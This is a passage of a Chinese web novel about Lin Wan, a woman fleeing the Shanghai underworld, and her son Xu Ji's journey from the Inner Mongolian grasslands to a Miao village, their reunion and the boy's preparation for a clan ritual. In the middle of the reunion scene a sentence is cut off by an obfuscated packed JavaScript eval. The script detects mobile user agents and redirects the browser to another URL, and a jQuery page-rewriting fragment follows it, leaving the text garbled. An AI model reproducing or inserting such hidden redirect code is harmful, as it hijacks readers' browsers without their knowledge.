黄沙漫过车窗的时候，林晚正把一件厚外套往许祭身上裹。十一岁的少年瘦得像根豆芽菜，脸颊被戈壁滩的风吹得通红，一双眼睛却亮得惊人，紧紧攥着方向盘下方的把手，小大人似的盯着前方连绵起伏的草原。
身后是上海滩的烽火狼烟，是李长河倒台后各方势力的反扑，是苗寨长老循着蛊踪追来的步步紧逼。她是在百乐门的地下室找到许祭的——这个她藏了十一年的小儿子，是她当年离开苗寨时，拼了半条命护住的软肋。许玉溪不知道他的存在，苗寨的人也不知道，这些年，她把他寄养在上海城郊的一户农家，只敢偷偷去看他，连一声“娘”都不敢让他当众喊。
直到李长河的人查到了农家，她才连夜带着许祭逃出来。许祭比她想象中要镇定，上车时还不忘揣上她给他买的那本《草药图册》，还有一个装着几只无毒蛊虫的小竹筒——那是她教他认的，说是能用来驱虫。
“娘，还要走多久啊？”许祭的声音带着点奶气，却刻意压低了，怕吵到开车的林晚。
林晚腾出一只手，摸了摸他乱糟糟的头发，指尖触到他发烫的耳朵，心里一阵发酸：“快了，过了前面那片戈壁，就到了。”
她没说，许祭的外婆家就在内蒙古的草场，那是她能想到的，最安全的地方。
吉普车碾过碎石路，发出咯吱咯吱的声响，车窗外的风景渐渐从林立的高楼变成无垠的草原，风里带着青草和泥土的腥气，吹散了上海滩的烟味和酒味。许祭扒着车窗往外看，眼睛瞪得圆圆的：“娘，你看！羊！好多羊！”
林晚顺着他指的方向望去，远处的羊群像一团团白棉花，散落在绿毯似的草场上，炊烟从蒙古包的顶篷袅袅升起，带着人间烟火的暖意。她紧绷了十几年的神经，忽然就松了下来，嘴角勾起一抹久违的笑。
车开到蒙古包外时，一个穿着蒙古袍的老人牵着马迎了上来，看见林晚，浑浊的眼睛瞬间亮了，用带着浓重口音的汉语喊：“晚晚！你可算回来了！”
是许祭的外婆。林晚眼眶一热，差点掉下泪来。许祭从车上跳下来，躲在她身后，怯生生地喊：“外婆。”
老人弯腰摸了摸他的头，笑得皱纹都舒展开了：“好孩子，长这么高了。”
夜里，蒙古包内点着酥油灯，昏黄的光映得四壁的挂毯暖融融的。外婆端上热气腾腾的手把肉和马奶酒，又给许祭盛了一碗羊奶。许祭饿坏了，捧着碗吃得狼吞虎咽，嘴角沾着油渍。林晚坐在一旁，看着他，眼眶微微发热。
这些年，她在上海滩刀尖舔血，为的就是护着两个儿子。许玉溪在淮安安稳学医，许祭在她的庇护下长大，可她还是没能护住周全，终究是带着小的，逃到了这片遥远的草原。
“外婆，这里有草药吗？”许祭忽然抬头，指着自己怀里的《草药图册》，“娘教我认过，说草原上的草药，比城里的好。”
外婆笑着点头：“有！多得很！明天外婆带你去采！”
许祭眼睛一亮，转头看向林晚，眼里满是期待：“娘，我们以后就在这里好不好？不用躲，不用跑，还能采草药。”
林晚的心猛地一颤，伸手揉了揉他的头，声音带着几分哽咽：“好，我们就在这里。”
夜深了，许祭躺在厚厚的毡毯上，很快就睡着了，小脸上还带着满足的笑意。林晚坐在他身边，借着酥油灯的光，看着他的睡颜，指尖轻轻拂过他的眉眼——和许玉溪小时候，一模一样。
她想起许玉溪决绝的背影，想起那张写着“恩断义绝”的信纸，喉咙里像是堵着一团棉花，涩得发疼。她不知道，这辈子还能不能再见到那个大的孩子，只希望他能在淮安，安稳度日，再也不要卷进这些恩怨里。
许祭翻了个身，嘟囔着喊了一声“娘”，小手还抓着她的衣角。林晚俯身，在他额头上轻轻印下一个吻，眼眶里的泪，终于无声地滑落。
窗外的星空格外澄澈，星星像是撒在黑丝绒上的碎钻，亮得晃眼。草原的风轻轻吹过蒙古包的帘角，带着青草的气息，温柔得像是母亲的手。
林晚知道，从这一刻起，上海滩的林老板已经死了。
她只是许祭的娘，一个想带着儿子，在草原上安安稳稳过日子的女人。
深秋的风卷着草原的草屑，刮得蒙古包的帘角猎猎作响。林晚正蹲在地上，教许祭辨认车前草，十一岁的少年手里攥着小锄头，鼻尖沾着泥土，眼里满是雀跃的光。
“娘，这个是不是能治拉肚子？”许祭举着一株绿油油的草，声音脆生生的。
林晚刚要点头，远处突然传来一阵汽车引擎的轰鸣声。那声音尖锐刺耳，和草原的宁静格格不入。她的脸色瞬间煞白，猛地将许祭拽到身后，抬头望去——三辆黑色的轿车正朝着这边疾驰而来，扬起漫天黄沙。
是青帮的人。
李长河倒台后，青帮群龙无首，几个堂主为了争夺地盘，把主意打到了她身上。他们知道，她手里握着苗寨的蛊术秘辛，也知道，她是牵制许家的最好筹码。
轿车停在蒙古包前，车门被猛地推开，十几个穿着黑西装的壮汉涌下来，为首的正是青帮的二堂主，脸上那道刀疤在阳光下格外狰狞。
“林老板，好久不见。”刀疤脸冷笑一声，目光落在林晚身上，“上海滩的生意，还等着您回去主持呢。”
林晚紧紧攥着许祭的手，指尖冰凉，声音发颤却带着硬气：“我已经不是什么林老板了，你们找错人了。”
“找错人？”刀疤脸嗤笑，挥手示意手下上前，“整个上海滩都知道，只有你能镇住那些老东西。识相的，就乖乖跟我们走，不然……”
他的目光扫过躲在林晚身后的许祭，眼底闪过一丝狠戾。
林晚的心猛地一沉。她知道，这些人什么事都做得出来。她不怕死，可她不能让许祭出事。
“我跟你们走。”林晚咬着牙，一字一顿地说，“但我有条件，不准动这个孩子一根手指头。”
刀疤脸挑眉：“条件？你现在没资格谈条件。不过，看在你乖乖听话的份上，我可以饶他一命。”
他挥了挥手，两个壮汉上前，就要去抓林晚的胳膊。
“娘！”许祭突然挣脱林晚的手，扑上去咬住其中一个壮汉的手腕，声音带着哭腔，“不准你们抓我娘！”
壮汉吃痛，抬手就要打下去。林晚眼疾手快，一把将许祭护在怀里，死死瞪着那壮汉：“谁敢动他，我就让他尝尝蚀心蛊的滋味！”
她的声音里带着一股狠劲，眼底的寒意让壮汉不由得停住了手。刀疤脸知道她的厉害，皱了皱眉：“把人看好，别伤了他。”
林晚低头看着怀里哭得撕心裂肺的许祭，心像是被生生撕开一道口子，疼得她喘不过气。她抬手，轻轻擦去许祭脸上的泪水，声音温柔得近乎破碎：“祭祭，乖，别哭。”
“娘，我不要你走！”许祭死死抱着她的腰，不肯松手，“我们说好的，要在这里放羊，采草药，永远不分开的！”
林晚的眼眶瞬间红了，眼泪掉落在许祭的头发上，烫得惊人。她知道，这一去，就是永别。青帮的人不会给她再回来的机会，而她，也不能连累这个孩子，让他跟着自己，一辈子活在刀光剑影里。
她狠下心，掰开许祭的手。
“祭祭，听娘的话。”林晚看着他的眼睛，一字一句地说，“以后，要好好跟着外婆，好好学习认草药，好好长大。”
“娘！”
“忘了娘。”林晚的声音带着一丝颤抖，却无比坚定，“就当，从来没有过娘这个亲人。”
说完，她猛地转过身，不再看许祭一眼，任由那些壮汉将她架着，塞进了轿车。她怕自己多看一眼，就会忍不住反悔，就会不顾一切地留下来。
轿车缓缓驶离，林晚靠在车窗上，看着后视镜里那个小小的身影。许祭追着车跑，一边跑一边喊“娘”，声音嘶哑，像是要喊碎天际。
他摔倒了，又爬起来，继续跑，直到再也看不见车的影子，才瘫坐在地上，放声大哭。
后视镜里的身影越来越小，越来越模糊，最终消失在茫茫的草原里。
林晚闭上眼，一行清泪顺着脸颊滑落。她抬手，摸了摸胸口，那里藏着一个小小的银质蛊铃，是她给许祭做的护身符。
她知道，从今往后，山长水远，他们母子俩，再也不会相见了。
轿车朝着上海滩的方向疾驰而去，草原的风越来越远，而那片辽阔的、曾承载过她短暂幸福的土地，终究成了回不去的故乡。
草原的风卷着秋草的碎屑，掠过毡房的穹顶时，带起一阵簌簌的轻响。十四岁的许祭蹲在药草畦边，指尖正捻着一株刚冒芽的防风，眉眼间已经褪去了少年的稚气，透着几分沉静的韧劲儿。
雅玛珍拄着羊腿骨做的拐杖，缓步走到他身后，苍老的脸上刻满了岁月的沟壑，目光却像草原的星空一样清亮。她看着许祭手里的草药，又望向远处连绵的天际——那里的方向，是千里之外的苗寨。
“祭祭。”雅玛珍的声音带着蒙古语特有的粗粝，裹着一丝不易察觉的沉重，“你娘走了三年了。”
许祭的指尖猛地一顿，防风的叶片被他掐出一道浅浅的印子。他没有回头，只是低低地“嗯”了一声。三年来，他没有一天不想林晚。梦里的娘亲，有时是上海滩霓虹里那个穿着绯色旗袍的女人，有时是草原上教他认草药的、眉眼温柔的母亲。可他知道，娘亲不会回来了。
雅玛珍叹了口气，弯腰坐在他身边，从怀里掏出一个用油布包得严严实实的小包裹，递到他手里：“这是你娘临走前，托我收着的。她说，等你长到十四岁，就让你带着这个，回苗寨去。”
许祭的心跳骤然加快，他颤抖着打开油布包，里面是一枚银质的蛊铃，铃身上刻着繁复的苗家花纹，还有一本泛黄的小册子，封面上写着《苗疆蛊草录》。蛊铃被摩挲得发亮，显然是林晚常年带在身边的物件。
“苗寨？”许祭终于抬起头，眼底满是茫然，“我去那里做什么？”
“去找你哥哥。”雅玛珍伸手，轻轻拍了拍他的肩膀，“你还有个哥哥，叫许玉溪，在淮安学医。你娘说，苗寨是你们的根，那里有能护着你们的人，也有你娘藏下的东西。”
她顿了顿，眼神变得悠远：“青帮的人还在找你娘，上海滩是是非之地，草原也未必能护你一辈子。苗寨地势偏，族里的老人虽然古板，却重血脉。你带着蛊铃去，他们会认你是许家的孩子。”
许祭攥着那枚蛊铃，冰凉的银质贴着掌心，却仿佛有一股滚烫的热流，顺着血管蔓延到四肢百骸。他想起娘亲临走前，抱着他说的那句“忘了娘”，原来不是真的要他忘，而是要他好好活着，要他找到自己的根。
“外婆……”许祭的声音带着哽咽，“我舍不得你。”
雅玛珍笑了，眼角的皱纹挤成一团，伸手揉了揉他的头发：“傻孩子，外婆老了，守不住你一辈子。你是许家的种，该去闯闯自己的路。”她站起身，指了指毡房外拴着的那匹枣红马，“我已经给你备好了行囊，还有盘缠。明天一早，你就走。顺着南边的路走，到了云贵边界，自然有人认得许家的蛊铃。”
那天夜里，许祭躺在毡房里，手里紧紧攥着蛊铃和小册子。风从帘缝里钻进来，带着马奶酒的醇香和草药的清苦。他想起三年前，娘亲被青帮的人带走时，他追着车跑了很远很远，直到摔倒在黄沙里，看着轿车的影子消失在天际。
那时他只有十一岁，只能哭。
现在他十四岁了，他能骑马，能认草药，能握着娘亲留下的蛊铃，去走一条娘亲替他选的路。
第二天破晓时分，草原的天边泛起鱼肚白。许祭穿着雅玛珍连夜缝好的蓝布褂子，背上沉甸甸的行囊，翻身上了枣红马。
雅玛珍站在毡房前，手里捧着一个装着奶皮子的布包，递给他：“路上吃。到了苗寨，好好活着，替你娘，替你自己，好好活着。”
许祭接过布包，喉头哽咽，说不出一个字。他用力攥着缰绳，对着雅玛珍磕了三个头。
“外婆，你要好好的。”
雅玛珍摆摆手，别过脸，不让他看见自己眼角的泪。
枣红马踏着晨光，朝着南边疾驰而去。许祭伏在马背上，回头望了一眼——毡房越来越小，草原越来越辽阔，雅玛珍的身影，最终成了一个小小的黑点。
风在耳边呼啸，他从怀里掏出那枚蛊铃，轻轻晃了晃。
叮——
清脆的铃声，在草原的晨风中散开，像是娘亲温柔的叮咛。
许祭握紧缰绳，目光望向南方。
苗寨。
许玉溪。
还有娘亲留下的那些秘密。
他都要一一找回来。
苗寨的吊脚楼里，火塘的火苗噼啪作响，映得四壁的苗绣挂毯明明灭灭。许祭指尖捻着那枚银质蛊铃，铃身上的纹路被摩挲得发亮，沈司南坐在对面的竹凳上，手里端着一碗温热的米酒，目光沉静地看着他。
方才的半个时辰里，许祭断断续续说着草原的风，说着雅玛珍的手把肉，说着三年前林晚被青帮的人带走时，那漫天黄沙里，他追着轿车跑断了腿的模样。说着说着，声音就哑了，眼底的光也暗了下去。
“后来我就骑着外婆的枣红马，顺着南边的路走，走了三个月，才到云贵边界。”许祭的声音很轻，带着点草原风沙磨出来的粗粝，“有人认得这枚蛊铃，把我带进了苗寨。他们说，我娘是许家最倔的姑娘，当年为了护着两个儿子，敢跟整个长老会叫板。”
沈司南没说话，只是将手里的米酒推到他面前。许祭端起来喝了一口，辛辣的酒液滚过喉咙，烫得眼角泛起湿意。
“我总想着，娘会不会还活着。”许祭低头看着蛊铃，声音里带着一丝自己都没察觉的奢望，“青帮的人抓她回上海滩，是为了蛊术秘辛。只要她肯松口，应该……应该能活下来吧。”
沈司南终于开口，声音低沉温和：“你娘的性子，我清楚。她宁肯豁出性命，也不会把许家的东西，交给那些豺狼。”他顿了顿，补充道，“当年她带着你躲去草原，就没想过再回头。她留下蛊铃和《苗疆蛊草录》，是想让你认祖归宗，不是让你困在过去的事里。”
许祭攥紧了蛊铃，冰凉的银质硌得掌心发疼。他想起雅玛珍送他走时说的话，想起这些年在苗寨，族里的老人教他养蛊、辨草，说他眉眼像极了年轻时的林晚。
“我还没找到我哥。”许祭抬起头，眼底闪过一丝坚定，“外婆说他在淮安学医，我总要去一趟，告诉他，娘从来没有想过利用他，从来没有。”
沈司南看着他，嘴角勾起一抹浅淡的笑意。这个十四岁的少年，身上带着草原的坦荡和苗寨的坚韧，像极了当年那个敢爱敢恨的林晚。
“淮安不远。”沈司南站起身，走到火塘边添了一把柴，“等过了苗寨的祭祀大典，我陪你去。”
火苗蹿高了些，映得许祭的脸颊暖融融的。他看着沈司南的背影，忽然想起族里老人说的，沈司南是当年唯一站在林晚这边，替她说话的人。
“沈叔。”许祭忽然喊了一声。
沈司南回头看他。
“我娘……她在上海滩的时候，是不是很辛苦？”
沈司南沉默片刻，点了点头，声音里带着一丝不易察觉的叹息：“她是个好母亲，也是个好姑娘。只是命太苦。”
吊脚楼外，传来苗寨姑娘的歌声，清脆婉转，混着夜风里的桂花香。火塘的火苗渐渐平稳下来，发出细碎的声响。
许祭将蛊铃揣进怀里，紧紧贴着心口。那些翻涌的回忆，那些压在心底的思念和委屈，好像在这一刻，都被火塘的暖意，熨帖得平平整整。
他知道，过去的事，终究是过去了。
但他要带着娘的念想，找到哥哥，守好苗寨。
这才是对娘最好的交代。
夜色渐深，吊脚楼里的火光，亮得像一颗不落的星。
苗寨的夜来得沉，山风卷着木叶的清香，掠过吊脚楼的飞檐。林晚抱着一坛米酒，坐在最高那座木屋的屋顶上，赤脚踩着青黑的瓦片，酒红色的卷发被风吹得凌乱，沾着些微的夜露。
她逃出来了。
从上海滩的囚笼里，从青帮的刀光剑影里，九死一生，兜兜转转，竟又回到了这片生她养她的土地。可这里早就不是她的家了。长老会的人视她为叛逆，许家的祠堂里，没有她的位置，更没有她两个儿子的名字。
酒坛子被她拍开泥封，辛辣的酒香漫出来，混着风里的桂花香，呛得她眼眶发酸。她仰头灌了一大口，酒液烧过喉咙，烫得她心口一阵抽痛。
她想起许玉溪。
那年在百乐门的办公室，少年攥着那张写满决绝的信纸，眼底的失望像刀子，一刀刀剜着她的心。他说“恩断义绝”，他说她心里只有复仇和权势，他说他只想做个普通的郎中。
林晚笑了，笑着笑着，眼泪就掉了下来。
傻孩子，娘哪里是想要什么宗主之位。娘只是想护着你，护着你能安安稳稳地长大，能不用沾血，不用躲债，能在淮安的小院里，守着草药香过一辈子。
她又灌了一口酒，酒坛子撞在瓦片上，发出沉闷的声响。
然后是许祭。
十一岁的少年，在草原的黄沙里追着车跑，撕心裂肺地喊着“娘”。他的小脸上沾着泥土和泪水，小手死死攥着她的衣角，不肯松开。她狠心地掰开他的手，不敢回头，怕一回头，所有的伪装都会崩塌。
她还记得，他趴在壮汉的手腕上狠狠咬下去，像只护崽的小狼。
林晚捂住脸，肩膀剧烈地颤抖起来。
祭祭，我的小祭祭。娘对不起你。娘答应过你，要在草原上放羊，采草药，永远不分开的。娘食言了。
她不知道许祭现在在哪里，是不是还活着。雅玛珍有没有护着他？他会不会恨她？会不会像许玉溪一样，觉得她是个自私自利的母亲？
酒坛子渐渐空了，林晚的意识也开始模糊。她看着远处连绵的山峦，看着天上细碎的星子，眼前晃过很多画面——
是当年在苗寨，她抱着襁褓里的许玉溪，和沈司南坐在山巅看日出；是在香港的街头，她牵着小小的许祭，给他买一颗甜甜的糖果；是在上海滩的百乐门，她穿着绯色旗袍，指尖捻着蛊虫，对着李长河冷笑；是在草原的蒙古包里，她看着许祭熟睡的脸，一夜无眠。
那些画面，像走马灯一样，在她眼前转啊转。
她这一生，好像都在逃。
逃苗寨的规矩，逃许家的恩怨，逃上海滩的刀光剑影。可她逃了一辈子，终究还是逃不过一个“情”字。
对儿子的情，对故土的情，对那些再也回不去的岁月的情。
林晚将空酒坛子扔出去，坛子砸在地上，碎成一片。她趴在瓦片上，终于再也忍不住，放声大哭。
哭声被山风裹着，散在苗寨的夜色里，像一只受伤的兽，在无人的角落，舔舐着自己的伤口。
她不知道，吊脚楼的阴影里，站着一个身影。沈司南手里握着一盏马灯，看着屋顶上那个蜷缩的背影，眼底满是疼惜，却终究没有上前。
有些苦，总要自己尝完。
有些路，总要自己走完。
有些债，总要自己还完。
哭声被山风扯得细碎，瓦片上的人影蜷缩着，像只被风雨打透的孤鸟。
就在这时，一道急促的脚步声踩着木梯响起来，带着少年人独有的莽撞和急切。
“娘——”
一声喊，破了苗寨的夜。
林晚的哭声戛然而止，她僵在原地，以为是自己醉了，听错了。直到一双温热的手臂，从身后紧紧抱住了她，力道大得像是要将她揉进骨血里。
熟悉的少年气息，混着草药和山风的味道，扑面而来。
林晚缓缓转过头，眼泪模糊了视线。她看见十四岁的许祭，站在她身后，眉眼间褪去了草原上的稚气，轮廓渐渐长开，像极了她记忆里的模样。他的蓝布褂子沾着尘土，裤脚卷着，显然是一路跑过来的。
“祭祭？”林晚的声音发颤，带着不敢置信的沙哑，“是你吗？”
许祭埋在她的颈窝里，肩膀剧烈地颤抖着，眼泪打湿了她的衣领。他用力点头，声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037634|194640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哽咽得不成样子：“是我，娘，是我。我回来了。”
林晚的心脏像是被一只手狠狠攥住，疼得她喘不过气。她抬手，颤抖地摸着许祭的头发，指尖触到他发顶柔软的绒毛，眼泪终于再次汹涌而出。
“我的祭祭……我的小祭祭……”她重复着，像是要把这三年的思念，都融进这一声声呼唤里。
许祭松开她，捧着她的脸，用袖子擦去她脸上的泪水。他看着她眼角的细纹，看着她鬓边悄悄生出的白发，看着她眼底深不见底的疲惫和思念，心口像是被针扎一样疼。
“娘，我找了你好久。”许祭的声音带着哭腔，“我从草原跑到苗寨，他们说你是许家的叛逆，说你可能早就不在了……我不信，我知道你一定会回来的。”
林晚看着他，看着这个自己狠心丢下的孩子，如今已经长成了能护住她的少年。她想起三年前，在草原的黄沙里，他追着车跑的模样，想起他撕心裂肺的哭喊，愧疚像潮水一样将她淹没。
“对不起，祭祭，对不起。”林晚抱着他，放声大哭，“是娘不好，是娘丢下了你，是娘食言了……”
许祭用力回抱住她，拍着她的背，像小时候她哄他那样，轻声安慰：“娘，我不怪你。我知道你是为了我好。外婆都告诉我了，你是为了护着我，才跟青帮的人走的。”
山风掠过屋顶，带着木叶的清香。吊脚楼的阴影里，沈司南默默转身，将马灯的光调暗了些，把这片天地，留给了久别重逢的母子。
许祭抱着林晚，忽然想起什么，从怀里掏出那枚银质蛊铃，递到她面前。月光落在铃身上，刻着的苗家花纹闪着细碎的光。
“娘，你看，我把它带回来了。”
林晚看着那枚蛊铃，眼眶更红了。这是她留给许祭的护身符，是她和他之间，唯一的念想。
她接过蛊铃，紧紧攥在手里，抬头看向许祭，眼底满是泪光，却又带着一丝笑意。
“祭祭，娘再也不会离开你了。”
许祭用力点头，将她抱得更紧了些。
苗寨的夜，静悄悄的。屋顶上的母子相拥着，月光落在他们身上，温柔得像是从未有过别离。
一些重逢终于真正的停下来看看了。
苗寨的秋日带着清冽的桂花香，阳光透过高大的香樟树，在青石板路上投下斑驳的光影。族里的学堂就设在老祠堂隔壁，竹窗敞开着，里面传来先生讲蛊草辨别的声音。
许祭抱着刚抄完的《蛊经》，脚步轻快地往学堂走，袖口沾着点点墨痕，怀里的银质蛊铃偶尔碰撞出细碎的声响。他刚走到门槛边，就被人从身后轻轻拽住了衣角。
“许祭！等我一下！”
清脆的声音带着几分熟悉的娇俏，许祭回头，就看见宁荔枝拎着靛蓝苗裙的裙摆，气喘吁吁地跑到他面前。她双丫髻上的红绳松了一缕，脖子上的银项圈叮当作响，手里还攥着两串刚摘的野山楂。
“你又迟到了。”许祭挑眉，眼底带着几分笑意。他和宁荔枝同窗半年，早就摸清了她的性子，总爱趁着课间跑去后山摘野果，次次踩着上课铃的尾巴冲回来。
宁荔枝吐了吐舌头，把一串山楂塞进他手里，酸甜的果香瞬间漫开来：“就迟半刻钟，先生不会骂我的。”她凑近一步，声音压低了些，“昨天先生留的辨草作业，你做完了没？我对着《苗疆蛊草录》看了半宿，还是分不清断肠草和金银花。”
许祭咬了一颗山楂，酸甜的汁水在舌尖漾开，他从怀里掏出自己的作业纸递过去：“我标了图，你拿去看。断肠草的叶脉更粗，花瓣边缘是锯齿状的。”
宁荔枝眼睛一亮，连忙接过作业纸，凑到他身边低头翻看。阳光透过香樟叶的缝隙，落在她的发梢上，镀上一层浅浅的金光。许祭看着她认真的侧脸，忽然想起初来苗寨时，自己还是个沉默寡言的少年，是宁荔枝天天追着他说话，拉着他去后山采草药，带着他融入这片土地。
“对了，”宁荔枝忽然抬头，眼睛亮晶晶的，“下月初就是苗寨的祭祀大典了，我娘给我缝了新苗裙，到时候我们一起去看祭舞好不好？”
许祭的心猛地一跳，他想起沈司南说过，祭祀大典上，许家的子弟要去祠堂祭祖。他攥紧了手里的山楂串，轻声道：“好。”
上课铃恰好响起来，宁荔枝连忙拉着许祭的手腕往学堂里跑，银铃的脆响混着两人的脚步声，在青石板路上敲出轻快的节奏。
祭祀大典的前三天，沈司南就提着一个桐木匣子来找许祭。匣子上雕着繁复的苗家缠枝花纹，打开时，里面铺着暗红的绒布，放着一套青色的苗家长衫，还有一枚刻着许家图腾的银牌。
“这是你爹当年穿过的衣裳，尺寸我让族里的裁缝改过，你穿正好。”沈司南的声音低沉，伸手抚过银牌上的纹路，“许家的子弟，祭祀时要戴着这个，去祠堂祭祖，去祭台拜蛊神。”
许祭伸手摸了摸那长衫的料子，触感柔软，带着淡淡的樟木香气，想来是被妥善收存了许多年。他拿起银牌，冰凉的金属贴着掌心，上面刻着的蛇形图腾栩栩如生，和他那枚蛊铃上的花纹，出自一脉。
“祭祀的规矩多，我这三天，会一点一点教你。”沈司南合上匣子，领着许祭往祠堂的方向走。
苗寨的老祠堂藏在寨子深处，青瓦木梁，檐角挂着青铜风铃，风一吹，就发出清越的声响。祠堂里立着许家历代祖先的牌位，香烛长明，烟雾缭绕，透着一股肃穆的气息。
沈司南站在牌位前，教许祭行叩拜礼。“三步一叩，九步一拜，拜的时候要心诚，嘴里要念着祖先的名讳。”他说着，亲自示范，双膝跪地时，脊背挺直，动作庄重。
许祭跟着学，起初动作生涩，膝盖磕在冰冷的青石板上，疼得他额头冒汗，却硬是咬着牙不肯吭声。沈司南看着他的模样，眼底闪过一丝赞许——这孩子身上的韧劲，和林晚太像了。
除了叩拜礼，沈司南还教他认祭祖的供品。三牲、五谷、清酒，还有三株精心培育的蛊草，每一样都有讲究。“蛊草要选晨露未干时采摘的，要带着泥土，象征着生生不息。”沈司南指着那三株蛊草，“祭祀时，要亲手把它们种在祭台的土里，祈求蛊神庇佑苗寨风调雨顺。”
傍晚的时候，沈司南还会领着许祭去后山的祭台。祭台由青石板垒成，高达三丈，上面刻着蛊神的神像。沈司南教他如何摆放祭品，如何点燃祭火，如何对着神像念诵祷词。
祷词是古老的苗语，晦涩难懂，许祭跟着沈司南一字一句地学，嗓子都念哑了，却还是捧着抄满祷词的纸，在祭台上反复诵读。
夜色渐深时，山风微凉，沈司南看着许祭站在祭台上的背影，忽然开口：“你娘当年，也和你一样，在祭台上念了一夜的祷词。”
许祭的动作一顿，回头看向沈司南。
“她那时候比你还小，”沈司南的声音里带着一丝怀念，“却硬是扛住了长老会的刁难，把祭祖的礼仪做得滴水不漏。”
许祭攥紧了手里的纸，抬头望向夜空里的星星。他想，娘当年在这里的时候，心里想着的，是不是也是护着自己想护的人。
三天的时间一晃而过，许祭已经把所有的礼仪都学得炉火纯青。他站在祠堂的铜镜前，换上那身青色的苗家长衫，戴上银牌，镜中的少年眉眼俊朗，脊背挺直，已然有了几分许家子弟的模样。
沈司南看着他，点了点头：“明日祭祀，你就跟着我，一步都不要错。”
许祭深吸一口气，对着铜镜里的自己，郑重地点了点头。
他知道，明日的祭祀大典，不仅是苗寨的盛会，更是他认祖归宗的时刻。
他要替娘，替爹，好好地完成这场祭祀。
祭祀大典的前一日，苗寨的晒谷场上格外热闹。竹匾里晒着新收的糯米，妇人们坐在石凳上搓着五彩的花绳，汉子们则扛着木料，忙着加固后山的祭台。闲话家常的声音混着捶布的梆梆声，在风里飘得老远。
“听说没？今年祭祀大典，许家那孩子也要上台。”一个扎着包头帕的老妇人压低声音，手里的针线却没停。
旁边搓麻绳的妇人闻言，立刻凑了过来，眼里满是好奇：“许家的？是当年林晚丢下的那个？他不是在草原待着吗？怎么突然回来了？”
“可不是嘛。”老妇人往地上啐了一口，“沈司南亲自领着他去祠堂祭祖，还翻出了他爹当年的衣裳。听说这三天，天天泡在祠堂和祭台，学那些老规矩呢。”
“那今年的祭祀，岂不是要有两个主祭了？”另一个挎着竹篮路过的妇人停下脚步，惊讶地睁大了眼睛，“往年不都是陈家的小子领头吗？”
这话一出，晒谷场上瞬间安静了几分。
陈家的孙子陈望，自小跟着族里的老人学蛊术和祭祀礼仪，年年都是大典的主祭，沉稳老练的模样早就得了全寨人的认可。许祭的突然出现，无疑是打破了多年的惯例。
“许家也是苗寨的大族，血脉正着呢。”一个白胡子老人坐在门槛上，吧嗒着旱烟，慢悠悠地开口，“这孩子眉眼像极了林晚，骨子里那股韧劲，看着就像能扛事的。”
“说起来也是，当年林晚姑娘可是咱们寨子里最灵的苗子，辨蛊草、养蛊虫，样样拔尖。”有人跟着附和，语气里带着几分惋惜，“要不是当年她非要往外跑，许家哪里会沉寂这么些年。”
“管他呢，多一个主祭，大典反倒更热闹些。”有年轻媳妇笑着插话，手里的花绳搓得飞快，“我看许祭这孩子稳重，和陈望搭手，定能把祭祀办得妥妥帖帖，让蛊神多庇佑咱们寨子。”
议论声渐渐又热闹起来，有看好许祭的，也有念叨陈望经验足的，还有些半大的孩子，凑在一起叽叽喳喳，猜想着大典上两人会如何配合。
宁荔枝拎着一篮刚摘的桂花路过，听见这些议论，脚步顿了顿。她抬头望向祭台的方向，夕阳正落在青石板上，镀上一层金红的光。
她想起许祭认真念诵祷词的模样，想起他攥着银牌时眼底的坚定，嘴角不自觉地弯起一个小小的弧度。
两个主祭吗？
好像，还挺有意思的。
阳光很暖，他们还是年轻的少年。